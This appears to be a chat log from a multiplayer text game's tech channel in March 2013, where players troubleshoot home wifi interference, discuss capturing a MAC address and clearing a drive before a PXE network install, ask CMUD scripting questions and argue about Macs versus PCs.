T3/r7/2013-03-16.txt.gz:{chan ch=tech}Frostpaw Tech: configuration all correct?
T3/r7/2013-03-16.txt.gz:{chan ch=tech}Leinei Tech: So you're able to use the internet sometimes?
T3/r7/2013-03-16.txt.gz:{chan ch=tech}Medieval Jameson Tech: i think the config is correct
T3/r7/2013-03-16.txt.gz:{chan ch=tech}Medieval Jameson Tech: yep
T3/r7/2013-03-16.txt.gz:{chan ch=tech}Leinei Tech: maybe interference from something like a wireless phone, then
T3/r7/2013-03-16.txt.gz:{chan ch=tech}Hanslanda Tech: what OSes, and how many boxes are on the network?
T3/r7/2013-03-16.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: hmm dhcp ip's?
T3/r7/2013-03-16.txt.gz:{chan ch=tech}Noegel Tech: Try restarting it?  That fixes 90% of problems it seems
T3/r7/2013-03-16.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: yea restart and kick
T3/r7/2013-03-16.txt.gz:{chan ch=tech}Medieval Jameson Tech: i reseted it 3 times to no avail, intresting part is my aunts ipad can pick it up
T3/r7/2013-03-16.txt.gz:{chan ch=tech}Noegel Tech: Damn
T3/r7/2013-03-16.txt.gz:{chan ch=tech}Frostpaw Tech: do you have a gaming console?
T3/r7/2013-03-16.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: laptop and desktop have same static ip?
T3/r7/2013-03-16.txt.gz:{chan ch=tech}Medieval Jameson Tech: yep
T3/r7/2013-03-16.txt.gz:{chan ch=tech}Laughing Airmeith Tech: iPads are notorious bandwidth hogs on wireless networks
T3/r7/2013-03-16.txt.gz:{chan ch=tech}Leinei Tech: See if you can find the frequency on the router, and see if you can find it on your wireless phone, and see if they're the same.
T3/r7/2013-03-16.txt.gz:{chan ch=tech}Medieval Jameson Tech: i have an asus dual core
T3/r7/2013-03-16.txt.gz:{chan ch=tech}Leinei Tech: That's why my parents' wireless was very finicky
T3/r7/2013-03-16.txt.gz:{chan ch=tech}Medieval Jameson Tech: good point
T3/r7/2013-03-16.txt.gz:{chan ch=tech}Noegel Tech: Your new laptop has been giving you headaches all day it seems Senor Jameson
T3/r7/2013-03-16.txt.gz:{chan ch=tech}Medieval Jameson Tech: i do live in a trailer park
T3/r7/2013-03-16.txt.gz:{chan ch=tech}Medieval Jameson Tech: i just got it 3 days ago
T3/r7/2013-03-16.txt.gz:{chan ch=tech}Frostpaw Tech: that sucks, lotta interference everywhere in those.
T3/r7/2013-03-16.txt.gz:{chan ch=tech}Medieval Jameson Tech: yep
T3/r7/2013-03-16.txt.gz:{chan ch=tech}Noegel Tech: Yeah... good luck
T3/r7/2013-03-16.txt.gz:{chan ch=tech}Medieval Jameson Tech: i need a frequency admitter
T3/r7/2013-03-16.txt.gz:{chan ch=tech}Medieval Jameson Tech: when it won't work just blast if for 5 mins
T3/r7/2013-03-16.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: does the wifi computer have issues connecting even when you are close to the modem?
T3/r7/2013-03-16.txt.gz:{chan ch=tech}Medieval Jameson Tech: do they have those?
T3/r7/2013-03-16.txt.gz:{chan ch=tech}Medieval Jameson Tech: yep
T3/r7/2013-03-16.txt.gz:{chan ch=tech}Frostpaw Tech: does the wifi lappy have a ethernet?
T3/r7/2013-03-16.txt.gz:{chan ch=tech}Frostpaw Tech: maybe you can just try reconnecting wired
T3/r7/2013-03-16.txt.gz:{chan ch=tech}Leinei Tech: If the laptop is right next to the router, then I wouldn't think inteference would be the problem
T3/r7/2013-03-16.txt.gz:{chan ch=tech}Leinei Tech: but not sure
T3/r7/2013-03-16.txt.gz:{chan ch=tech}Medieval Jameson Tech: I will bring it in here and try it
T3/r7/2013-03-16.txt.gz:{chan ch=tech}Hanslanda Tech: what's he say?  I apparently deleted the wrong file for my goal notes, so now I'm stuck with an empty file and just memories of doing the goal (back when it was Star Trek, of course).
T3/r7/2013-03-16.txt.gz:{chan ch=tech}Leinei Tech: ours was a couple of rooms away
T3/r7/2013-03-16.txt.gz:{chan ch=tech}Medieval Jameson Tech: jsut make sure
T3/r7/2013-03-16.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: you could try checking to see you can set modem to auto channel selection
T3/r7/2013-03-16.txt.gz:{chan ch=tech}Hanslanda Tech: mis
T3/r7/2013-03-16.txt.gz:{chan ch=tech}Medieval Jameson Tech: will do
T3/r7/2013-03-16.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: if you don't have that option you should be able to change the channel
T3/r7/2013-03-16.txt.gz:{chan ch=tech}Frostpaw Tech: what sucks about that is everything uses one of those six channels
T3/r7/2013-03-16.txt.gz:{chan ch=tech}Frostpaw Tech: really prefer wired myself
T3/r7/2013-03-16.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: nod my apartment is completely wired
T3/r7/2013-03-16.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: looks like crap too :)
T3/r7/2013-03-16.txt.gz:{chan ch=tech}Frostpaw Tech: I've got my pc wired, but we have a few wireless stuff around here
T3/r7/2013-03-16.txt.gz:{chan ch=tech}Prince Wario Tech: 100% wireless here
T3/r7/2013-03-16.txt.gz:{chan ch=tech}Ontuct Tech: I have to use wires to charge stuff up
T3/r7/2013-03-16.txt.gz:{chan ch=tech}Frostpaw Tech: thanks for reminding me i needed to charge the phone :P
T3/r7/2013-03-16.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: bleh, i'm late, but don't use automatic selection
T3/r7/2013-03-16.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: use ssid to check the networks around you. then use the least saturated channel (only 1, 6 or 11 tho!)
T3/r7/2013-03-16.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: overlapping channels cause more disturbance than a bunch of people on the same channel
T3/r7/2013-03-16.txt.gz:{chan ch=tech}Frostpaw Tech: thats what I used for mine when I had wired issues
T3/r7/2013-03-16.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: 1, 6 and 11 are the only channels that don't overlap
T3/r7/2013-03-16.txt.gz:{chan ch=tech}Birdbrain Metria Tech: Why do they have overlapping channels, anyway? This is the only tech I can think of where a channel is not a discrete thing.
T3/r7/2013-03-16.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: people who are on anything else should be taken behind the shed and shot
T3/r7/2013-03-16.txt.gz:{chan ch=tech}Hanslanda Tech: why's that?
T3/r7/2013-03-16.txt.gz:{chan ch=tech}Medieval Jameson Tech: its working again
T3/r7/2013-03-16.txt.gz:{chan ch=tech}Frostpaw Tech: of course, i had wireless issues mainly cause the router is on the other side of the house
T3/r7/2013-03-16.txt.gz:{chan ch=tech}Frostpaw Tech: wifi works?
T3/r7/2013-03-16.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: because being on channel 2-5 messes with the people who are on 1 and 6 because of the overlap
T3/r7/2013-03-16.txt.gz:{chan ch=tech}Birdbrain Metria Tech: Was someone running the microwave?
T3/r7/2013-03-16.txt.gz:{chan ch=tech}Scars Tech: does channel width matter?
T3/r7/2013-03-16.txt.gz:{chan ch=tech}Medieval Jameson Tech: yes it does
T3/r7/2013-03-16.txt.gz:{chan ch=tech}Frostpaw Tech: just to be clear, my conversation is about me and my own experiences recently
T3/r7/2013-03-16.txt.gz:{chan ch=tech}Scars Tech: only have two options auto and 20
T3/r7/2013-03-16.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: maybe shooting them is too extreme tho. a mild beating would be ok
T3/r7/2013-03-16.txt.gz:{chan ch=tech}Frostpaw Tech: I dont follow wireless too closely because I havent really needed to
T3/r7/2013-03-16.txt.gz:{chan ch=tech}Frostpaw Tech: but isnt there a 5.0ghz standard being worked on?
T3/r7/2013-03-16.txt.gz:{chan ch=tech}Birdbrain Metria Tech: Considering the way most router firmwares present channel options, I wouldn't even beat them. Non-nerds wouldn't know better, and the router firmware gleefully encourages them to shoot themselves in the foot.
T3/r7/2013-03-16.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: anything that doesn't run dd-wrt is garbage
T3/r7/2013-03-16.txt.gz:{chan ch=tech}Birdbrain Metria Tech: 802.11n uses 2.4 GHz and 5.0 Ghz.
T3/r7/2013-03-16.txt.gz:{chan ch=tech}Birdbrain Metria Tech: 802.11ac is being developed, which is only 5 Ghz
T3/r7/2013-03-16.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: i haven't seen routers that use any channel with auto select
T3/r7/2013-03-16.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: bet you never know. also, nerd rage because people are doing it WRONG
T3/r7/2013-03-16.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: thought of upgrading to dual-channel n router, but 100 euros isn't cheap
T3/r7/2013-03-16.txt.gz:{chan ch=tech}HelperMan Hadar Tech: with cmud if i set an exit to "other" if i use #walk will it still recognize it?
T3/r7/2013-03-16.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: barter sold
T3/r7/2013-03-16.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: mis
T3/r7/2013-03-16.txt.gz:{chan ch=tech}Frostpaw Tech: hadar it should
T3/r7/2013-03-16.txt.gz:{chan ch=tech}Hanslanda Tech: I don't use the OTHER type for speedwalk access.
T3/r7/2013-03-16.txt.gz:{chan ch=tech}Frostpaw Tech: so what do you use for deathtrap, for example?
T3/r7/2013-03-16.txt.gz:{chan ch=tech}Hanslanda Tech: since we don't use the secondary directions (ne, nw, se, sw), I just use those and whatever free cardinal positions are available.  I still fill in the exit name, though.
T3/r7/2013-03-16.txt.gz:{chan ch=tech}Frostpaw Tech: true true, I had never thought of using the diagonals.. heh
T3/r7/2013-03-16.txt.gz:{chan ch=tech}Hanslanda Tech: I've only ever come across 1 or 2 rooms that had more than 10 exits (including really dumb repeats in the form of custom exits), and I think one of those had enough formatting similarities that I could squish several exits down into one exit that used %random() and %item() to choose/figure out what to send.
T3/r7/2013-03-16.txt.gz:{chan ch=tech}Turie Tech: What is a good program that allows you to annotate notes and has an image of you on the screen next to your notes?
T3/r7/2013-03-16.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: what?
T3/r7/2013-03-16.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: I'd just put a framed picture next to your monitor much easier than making a program Turie.
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Daloran Tech: o/
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Daloran Tech: so.. I'm looking for a bootable tool to do a couple things... some of which I know might not be possible. Trying to boot to either a cd/usb drive, capture the mac address of the on board network card, delete all partitions on the primary hard drive, and reboot to PXE. Any suggestions? Just looking for a small bootable linux variety that has the ability to add some scripts to
T3/r7/2013-03-17.txt.gz:{chan ch=tech}[Deputy] Leonassan Tech: I'm too tired to remember if it does all of that, but Trinity rescue kit is pretty expandable if you use a usb drive.
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Tech: the point of PXE is that you don't need anything local...
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Tech: once you've booted PXE you can do whatever you like to the local drive
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Daloran Tech: Nod abe, I understand that. Unfortunately the PXE server is out of my control, as far as adding anything to it
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Tech: but if you can't control the PXE server to even make the device bootable using it, then that part of your requirement makes no sense
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Aqiz Tech: should carry bootable os with you at all times anyways
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Daloran Tech: The install on the PXE server expects a blank drive, and fails if it is not. Theres no option during the install to do it
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Daloran Tech: And while mostly unfamiliar with PXE, even if I learned how to configure it to do such, its not something I have any control over
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Tech: OK, so you're not actually looking to boot PXE, you're looking to network install via PXE
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Daloran Tech: Yes. I suppose not knowing much about it, I supposed installing was basically just booting to network installation media/files. But yeah
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Tech: pretty much any live boot tool will let you see the MAC address and will let you delete the drive, though...ultimate boot CD, bart's, any linux live, even windows pxe
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Daloran Tech: windows PXE? or windows PE
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Daloran Tech: the former I've not heard of the later yeah
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Tech: yeah, pe
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Aqiz Tech: get barts
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Tech: sorry, had pxe on the brain from the OP
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Daloran Tech: No worries, I just wanted to make sure it wasn't something you knew about that I didn't.
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Daloran Tech: Though, I suspect bart, windows pe, are a bit overblown.. just looking for something.. quick command line linux boot + script or something along those lines
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Daloran Tech: Biggest problem is i'm not seeing much that can reboot the system to do a pxe install
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Tech: you want small, try Damn Small Linux :-)
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Daloran Tech: will do! "small" isn't so much the requirement as "fast booting" though
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Daloran Tech: Though, I suspect they go hand in hand
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Daloran Tech: <-- very much not a linux person
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Aqiz Tech: bbaarrrtssss
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Tech: well, all any tool would do is reboot the system...having it boot PXE after the reboot is a function of the BIOS/NIC
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Daloran Tech: There is etherboot/gpxe that works from usb/cdrom/etc to force a network boot.. but as far as putting them in to play..
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Tech: those don't force a network boot, they're just a shim for things that don't natively support PXE
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Daloran Tech: Nod, but the result is the same, is it not?
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Tech: it's like when we used syslinux as the booter for bart's on USB sticks when newer machines wouldn't boot otherwise
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Daloran Tech: Eh, I guess its adding an extra piece to the puzzle that doesn't need to be there anyway
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Daloran Tech: Damn it tor, I thought you said "goatse" and I was like.. wtf
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Daloran Tech: .. mis.
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Tech: You smirk.
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Daloran Tech: Ah well. Guess the PXE bit was too much to ask for. And I know the other two parts can be scripted trivially
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Daloran Tech: Well... how about this then.. any suggestions on getting the mac address captured and sent.. either via email, network share, etc? 
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Aqiz Tech: is this networked?
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Tech: send ifconfig -a
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Daloran Tech: Networked, yeah
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Aqiz Tech: wireshark, or you could use a copule other tools
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Daloran Tech: Wireshark would be run on a remote system, no?
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Aqiz Tech: could put it on one pc capt, ping the other see what you can see
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Daloran Tech: If I'm understanding you correctly, not going to work.. assuming theres multiple systems on the lan, would be no way to match macs to systems, yeah?
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Aqiz Tech: you just need to catch the arp
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Tech: you could look at the switch's table if you know where it's plugged in, but ifconfig from your USB-booted linux system which you're using to erase the drive works
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Aqiz Tech: yeah i guess im just confuesd on the param of this question. if your on teh system itself ifconfig will work just fine
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Daloran Tech: Nod. Getting the mac isn't the problem. could capture, and store to a file. if that file was on a network system instead of on the flash drive it would be better
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Daloran Tech: Aqiz.. booting system, trying to capture mac address, and wipe the drive with fdisk, in preperation for a pxe boot.
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Tech: so put it on a network system...plenty of tools available for that :-)
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Daloran Tech: Lol.. fair enough. I guess this is probably out of my league, to do from linux
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Tech: since you'll want to associate the mac with the particular computer using some human-type designation, there will be some touching involved...
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Aqiz Tech: ow ow!
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Daloran Tech: Nod, that's fine Abe
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Aqiz Tech: what are you using to deliver software and the os?
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Tech: script-wise, computers would be happy just calling each other by their MAC...but you'd want to do something like ifconfig -a > labcomputer3.txt and put that file somewhere
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Daloran Tech: It's not the touching thats bad, its more the opportunity for error in miskeying/miswriting/etc the mac
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Daloran Tech: Just scanning the barcode on the case would be ideal, but unfortunate it doesn't always match the mac on the system
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Tech: so you could put a script file into that linux usb where you do "getmac foo" and it'll call the file foo.txt and put it onto the net system
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Daloran Tech: Guess I'll have to do some poking/general knowledge increasing to make it work
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Aqiz Tech: never too late to learn linux while your at it
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Aqiz Tech: you're
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Daloran Tech: Nod, certainly. Never had a good need for it till now outside of idle curiousity
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Aqiz Tech: being able to do what ever you feel like doing with your os is great
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Tech: Ranrr rapidly nods twice at Aqiz, in complete agreement.
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Aqiz Tech: free is also a hard price to beat lol
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Ranrr Tech: Yeah, although I don't care so much about the no cost part about free software, care more about the open source part.
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Aqiz Tech: true, most software I buy I have a reason for needing it so I can justify the price 
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Vakieh Tech: As an avid wearer of eye patches, I also am more concerned with open source than cost :-P
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Daloran Tech: =) Well, one last bit before i pop off.. Any suggestions on a simple distro I can toss ona USB drive that will boot to a shell prompt? or can easily be made to do so? And other then that.. any suggestions for a desktop version for learning purposes? Ubuntu is probably what I'd go with without another suggestion
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Vakieh Tech: I'm currently learning Ubuntu server on a headless N40L
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Aqiz Tech: dal, decide if you prefer gnome or kde
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Vakieh Tech: Does quite well, and I can SSH in from my usual win7 box
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Daloran Tech: Aqiz.. I wouldn't know the difference between them =p
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Tech: he's not actually USING this OS...
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Tech: he's just using it long enough to grab the MAC address and fdisk the hdd before starting a netinstall of the real OS for the machine
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Ranrr Tech: For a desktop, for a beginner, I'd go with ubuntu
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Daloran Tech: Ubuntu it is
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Daloran Tech: Maybe I'll load it up on my laptop later
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Aqiz Tech: ubuntu for the personal playground
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Vakieh Tech: Apparently unity is the tits - I don't do *nix gui though
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Vakieh Tech: Unity is a feature of the latest Ubuntu desktop, afaik
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Ranrr Tech: Too much fancy junk for my taste, but if you prefer working your OS in a gui, it's probably ok.
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Vakieh Tech: Well, I love my Aero on win7, so I assume the fancy junk is targetted at people like me :-P
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Daloran Tech: Hmm. Ubuntu server might actually fit the ticket for the other, since theres no GUI
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Aqiz Tech: as for the bootable, I use bt for anything I do just becaseu im used to it.
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Daloran Tech: bt?
T3/r7/2013-03-17.txt.gz:{chan ch=tech}No pants Travis Tech: in cmud with Lua scripts how do i use the cmud Vars?
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Aqiz Tech: sorry, backtrack. but thats linux for a nother day
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Daloran Tech: Ah yeah, I'm aware of backtrack
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Daloran Tech: Well, thanks for all the help gentlemen
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Daloran Tech: and/or ladies
T3/r7/2013-03-17.txt.gz:{chan ch=tech}No pants Travis Tech: in cmud with Lua scripts how do i use the cmud Vars?
T3/r7/2013-03-17.txt.gz:{chan ch=tech}No pants Travis Tech: whoops sorry
T3/r7/2013-03-17.txt.gz:{chan ch=tech}No pants Travis Tech: in cmud when pattern matching, can i use a variable in the pattern in place of {word|word|word} to match specific instances of a line
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Bluntman & Chronic Tech: what are some really good Pc companys? other then say dell or hp (not saying they really are or really aren't)
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Build it yourself
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Tratillo Tech: make your own
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Aqiz Tech: ^^^
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: For laptops, HP, but wipe it clean
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Prakhar Tech: apple 
T3/r7/2013-03-17.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: toshiba isnt bad
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Tratillo Tech: I like toshiba for laptops
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Aqiz Tech: brave
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Tratillo Tech: but I dont' do any gaming on my laptop
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Sneak Tech: macbook air.
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Tech: Prakhar faints as [Outlaw] Remarto sneaks up to him and shouts "Boogy Woogy OOY!!"
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Bluntman & Chronic Tech: i sorta plan to build my own but wanna look around for ideas/etc
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: www.reddit.com/r/buildapc
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Aldeas Tech: how much extrac word
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Trachx Tech: dell is good for their warranty - you should pick one with 5year NBD
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Bluntman & Chronic Tech: eh mac's kinda out for me
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Aldeas Tech: bleh anyhow seriously a reddit on building a pc?
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Aldeas Tech: subreddit
T3/r7/2013-03-17.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: mac
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Tech: [Outlaw] Remarto is so sick that he tells everyone "I gotta barf!".
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Aqiz Tech: pcpartpicker.com is the site youll want 
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Mac has its customer base. I won't say idiots, but I will certainly think it loudly. And pcpartpicker grew out of buildapc
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Tech: [Outlaw] Remarto rapidly nods twice at Captain HR Vakieh, in complete agreement.
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Sneak Tech: to each his own
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Ullin Tech: On the same note, is there any recommendeed alternative to mac mini for a nice looking media center? Need a pretty and quiet box that sits next to TV, has LARGE storage, and streams media to all other PCs on wireless network
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Aldeas Tech: Whats a "low" hastle laptop for a hackintosh?
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Sneak Tech: I can afford it, so I buy Macs.
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: HP microserver, hands down
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Aqiz Tech: raspi!
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Tratillo Tech: you could afford a 3 times better pc then sneak
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: For your money you could get a far better computer from any of the Windows manufacturers
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Zetkax Tech: for some ideas on building a pc: http://whirlpool.net.au/wiki/rmp_sg_whirlpoolpcs
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Sneak Tech: Who cares. I hate windows.
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Be like saying you can afford to drop $1m on a 1980 ford crapbox, so it is ok for you to do so
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Sneak Tech: you must be delusional if you're comparing a MacBook Air to a 1980 ford crapbox. but ok.
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Same sort of price to value comparison
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Tech: [Outlaw] Remarto rapidly nods twice at Captain HR Vakieh, in complete agreement.
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Sneak Tech: once again, you must be delusional. but ok.
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Aqiz Tech: this convo is the same as favorite poptart/method of preparing. 
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Not really - poptarts are subjective, IPCxGHz are absolutely not
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Tratillo Tech: is there a lot of poptart methods?
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Aqiz Tech: yes.
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Trachx Tech: Apple is innovative in ways how to get money from their customers, then noticed that it really doesn't matter whether they sell PowerPC Mac or just Intel based one
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Sneak Tech: you're saying Mac vs PC isn't subjective?
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Sneak Tech: you must be more delusional than I thought.
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Tratillo Tech: no mac vs pc isn't subjective...unless you are talking about tablets or phones
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Not at all - I am saying that the cost to power on a Macbook is lower than on almost any other laptop
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Aqiz Tech: all the parts are produce by the some company anyways
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: The OS is more or less independent since the *nix change
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Sneak Tech: I am saying that individuals purchase whatever laptop/computer they want, as long as they can afford it.
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Right - but what you are affording is less powerful than the same price from another company
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Sneak Tech: Right - and that matters how?
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Sneak Tech: Do you use all that power fully, 100% of the time?
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: If you use it once it has value
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: yeah, i play dwarf fortress :P
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Sneak Tech: Yes, but I don't.
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: i'm a thinkpad fanboi. same pricerange as macbooks
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Sneak Tech: And I ascribe a high value point to "aesthetics"
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Tratillo Tech: hey sneak are you a rapper?
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Sneak Tech: No.
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Tratillo Tech: could of fooled me cause your talking like p diddy
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Sneak Tech: Are you retarded? I'm speaking English.
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Tratillo Tech: uhm you pretty much just said...f the price as long is it gots bing
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Tech: A flash of light blinds you! Tratillo must be blinging!
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Sneak Tech: That's not what I said.
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Julliet Tech: Yeah. It is.
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Sneak Tech: I said "I ascribe a certain value to aesthetics"
T3/r7/2013-03-17.txt.gz:{chan ch=tech}Sneak Tech: That is not similar to "f the price, as long as it gots bing"
